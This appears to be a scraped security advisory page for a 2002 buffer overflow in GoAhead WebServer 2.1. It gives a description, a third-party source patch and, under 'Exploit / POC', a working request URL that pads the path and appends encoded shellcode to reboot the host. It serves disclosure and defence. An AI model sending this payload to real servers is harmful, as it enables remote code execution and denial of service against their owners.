GoAhead WebServer Remote Arbitrary Command Execution Vulnerability
BID:5464
Info
GoAhead WebServer Remote Arbitrary Command Execution Vulnerability
| Bugtraq ID: | 5464 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 14 2002 12:00AM |
| Updated: | Aug 14 2002 12:00AM |
| Credit: | Vulnerability discovery credited to an anonymous source. |
| Vulnerable: |
GoAhead Software GoAhead WebServer 2.1 |
| Not Vulnerable: | |
Discussion
GoAhead WebServer Remote Arbitrary Command Execution Vulnerability
GoAhead WebServer is an Open Source embedded web server which supports Active Server Pages, embedded javascript, and SSL authentication and encryption. It is available for a variety of platforms including Microsoft Windows and Linux variant operating systems.
It has been discovered that a buffer overflow exists in GoAhead WebServer. This vulnerability could make it possible for a remote user to execute arbitrary code with the privileges of the web server process. This could lead to an attacker gaining remote access to a vulnerable host.
GoAhead WebServer is an Open Source embedded web server which supports Active Server Pages, embedded javascript, and SSL authentication and encryption. It is available for a variety of platforms including Microsoft Windows and Linux variant operating systems.
It has been discovered that a buffer overflow exists in GoAhead WebServer. This vulnerability could make it possible for a remote user to execute arbitrary code with the privileges of the web server process. This could lead to an attacker gaining remote access to a vulnerable host.
Exploit / POC
GoAhead WebServer Remote Arbitrary Command Execution Vulnerability
Contributed by an anonymous source:
http://www.example.com/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/%eb%1f%5e%89%76%08%31%c0%88%46%07%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%db%89%d8%40%cd%80%e8%dc%ff%ff%ffreboot
Contributed by an anonymous source:
http://www.example.com/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/%eb%1f%5e%89%76%08%31%c0%88%46%07%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%db%89%d8%40%cd%80%e8%dc%ff%ff%ffreboot
Solution / Fix
GoAhead WebServer Remote Arbitrary Command Execution Vulnerability
Solution:
An unofficial source code fix has been provided. SecurityFocus has not tested the provided third-party fix.
diff -u ws212-020612/default.c ws212-020612gby/default.c
--- ws212-020612/default.c Wed Jun 12 19:38:48 2002
+++ ws212-020612gby/default.c Wed Jun 19 16:34:24 2002
@@ -204,9 +204,11 @@
* is bad.
*/
+#define MAXDIRPATH (64)
+
int websValidateUrl(webs_t wp, char_t *path)
{
- char_t *parts[64]; /* Array of ptr's to URL parts */
+ char_t *parts[MAXDIRPATH]; /* Array of ptr's to URL parts */
char_t *token, *dir, *lpath;
int i, len, npart;
@@ -241,7 +243,11 @@
} else if (gstrcmp(token, T(".")) != 0) {
parts[npart] = token;
len += gstrlen(token) + 1;
- npart++;
+ if(++npart >= MAXDIRPATH) {
+ /* Damn script kitties... */
+ bfree(B_L, path);
+ return -1;
+ }
}
token = gstrtok(NULL, T("/"));
}
---
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
An unofficial source code fix has been provided. SecurityFocus has not tested the provided third-party fix.
diff -u ws212-020612/default.c ws212-020612gby/default.c
--- ws212-020612/default.c Wed Jun 12 19:38:48 2002
+++ ws212-020612gby/default.c Wed Jun 19 16:34:24 2002
@@ -204,9 +204,11 @@
* is bad.
*/
+#define MAXDIRPATH (64)
+
int websValidateUrl(webs_t wp, char_t *path)
{
- char_t *parts[64]; /* Array of ptr's to URL parts */
+ char_t *parts[MAXDIRPATH]; /* Array of ptr's to URL parts */
char_t *token, *dir, *lpath;
int i, len, npart;
@@ -241,7 +243,11 @@
} else if (gstrcmp(token, T(".")) != 0) {
parts[npart] = token;
len += gstrlen(token) + 1;
- npart++;
+ if(++npart >= MAXDIRPATH) {
+ /* Damn script kitties... */
+ bfree(B_L, path);
+ return -1;
+ }
}
token = gstrtok(NULL, T("/"));
}
---
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
GoAhead WebServer Remote Arbitrary Command Execution Vulnerability
References:
References:
- GoAhead WebServer Product Homepage (GoAhead Software)